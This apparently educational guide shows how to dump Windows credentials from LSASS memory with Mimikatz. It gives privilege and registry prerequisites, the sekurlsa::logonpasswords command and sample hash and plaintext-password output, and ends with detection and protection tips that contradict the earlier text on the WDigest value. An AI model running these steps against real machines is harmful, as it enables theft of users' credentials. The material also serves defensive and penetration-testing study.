
Mimikatz is one of the best tools to gather credential data from Windows systems. In fact it's said to be the "Swiss army knife" (or multi-tool) of Windows credentials – that one tool that can do everything. The author of Mimikatz, Benjamin Delpy, is French guy that made this project just to learn 'C', how he stated in his github repo.

The tool is well known for it's ability to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. But it's not only limited to that. **`Mimikatz`** can also perform *pass-the-hash*, *pass-the-ticket* or build *Golden tickets*.

## BASICS

After launching `mimikatz,` you are greated with a command prompt **`mimikatz #`**

```
  .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Apr 26 2014 00:25:11)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with  14 modules * * */


mimikatz #
```

In which you can type instructions like:
**`cls,`**
**`sekurlsa::logonpasswords,`**
**`crypto::certificates`**

The instructions are typed in this form:

`modulename::commandname arguments…`

Examples:

- `kerberos::tgt`
- `crypto::certificates /systemstore:local_machine /store:my /export`
- `cls`

Commands from *standard* module can be typed without **modulename**

**IMPORTANT!!!**
**Some operations, need administrator privileges, or SYSTEM token to run normally.**

**Mimikatz comes in 2 versions: Win32 and x64.**
**The Win32 version is not able to access the whole 64bit databus, but it's still able to open 32bit apps when it's being ran on a 64 bit OS**

# MODULE LIST

- standard
- privilege
- crypto
- sekurlsa
- kerberos
- lsadump
- vault
- token
- event
- ts
- process
- service
- net

- misc
- library
- driver

# GETTING CREDENTIALS

## Preface

> Usually credentials are stored in the memory on versions **7<=**, so you are able instantly to retrieve them. Starting with Windows 8.x and 10,11, **by default**, there are **NO** credentials which are stored in memory. So you'l have to do some stuff before that:

- When `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest`, `UseLogonCredential` (DWORD) is set to **1**, the **wdigest** provider keeps passwords ;
- When values in `Allow*` in `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Credssp\PolicyDefaults` or `HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation`, the **tspkgs** / CredSSP provider keeps passwords.

To extract credentials, you'l have to use one of the modules, called *sekurlsa*

This module extracts **passwords**, **keys**, **pin codes**, **tickets** from the memory of lsass (Local Security Authority Subsystem Service)

**IMPORTANT!!!**

If the stuff that you are doing, includes working with the *lsass* process, mimikatz will need to have extra privileges:

- You will need to be/have access to the Administrator account, because for you to extract data, you will need the ***debug privilege*** *(can be checked with* ***privilege::debug****)*
- *Have access to the* ***SYSTEM*** *account, in this case, you will* ***NOT*** *need* ***debug privileges***

Without rights to access ***lsass*** process, all commands will fail with an error like this: **ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)** *(except when working with a minidump)*.

When all the requirements from above are met, the process of extracting the credentials is only **1** command:

```
sekurlsa  ::logonpasswords
```

```
modulename::commandname  arguments
```

And you'l get something simillar to this, if everything went well:

```
mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 88038 (00000000:000157e6)
Session           : Interactive from 1
User Name         : Gentil Kiwi
Domain            : vm-w7-ult
SID               : S-1-5-21-2044528444-627255920-3055224092-1000
        msv :
         [00000003] Primary
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult
         * LM       : d0e9aee149655a6075e4540af1f22d3b
         * NTLM     : cc36cf7a8514893efccd332446158b1a
         * SHA1     : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
```

```
tspkg :
 * Username : Gentil Kiwi
 * Domain   : vm-w7-ult
 * Password : waza1234/
wdigest :
 * Username : Gentil Kiwi
 * Domain   : vm-w7-ult
 * Password : waza1234/
kerberos :
 * Username : Gentil Kiwi
 * Domain   : vm-w7-ult
 * Password : waza1234/
ssp :
 [00000000]
 * Username : admin
 * Domain   : nas
 * Password : anotherpassword
credman :
 [00000000]
 * Username : nas\admin
 * Domain   : nas.chocolate.local
 * Password : anotherpassword
```

And here are your precious credentials

## PROTECTING AGAINST MIMIKATZ

There are several ways to potentially detect Mimikatz use on a network, and protect against it, though none are guaranteed.

- Having an AntiVirus software running, which is up to date, can help with detecting and removing mimikatz, but doesn’t guarantee complete protection against it, because the code of mimikatz is open source and everyone is free to change it, and after being changed some AV software might not be able to detect it.

- Use security software to identify processes that interact with **LSASS**. Security software that monitors for process injection may also be able to regularly detect Mimikatz use.

- Use of HoneyTokens/HoneyHashes involves placing special credentials in memory on a number of computers in the enterprise. These credentials are flagged, so when anyone attempts to use them, a critical alert goes out. In theory, this could detect credential theft and use in the environment.

- If the WDIGEST registry key (HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest) is supposed to be set to "**0**" in the enterprise to prevent "clear-text" passwords from being stored in **LSASS** and there are systems where it was switched to "**1**", this may be indicative of credential theft activity. This registry key is worth monitoring in your environment since an attacker may wish to set it to **0** to enable Digest password support which forces "clear-text" passwords to be placed in **LSASS** on **any** version of Windows from Windows 7/2008R2 up to Windows 10.

- There are new updates on Windows 10 and Windows Server 2016 which can potentially detect Mimikatz use.


Sources:
https://docs.microsoft.com
https://github.com/gentilkiwi/mimikatz
https://adsecurity.org/?page_id=1821

Made by Dimitar Banchev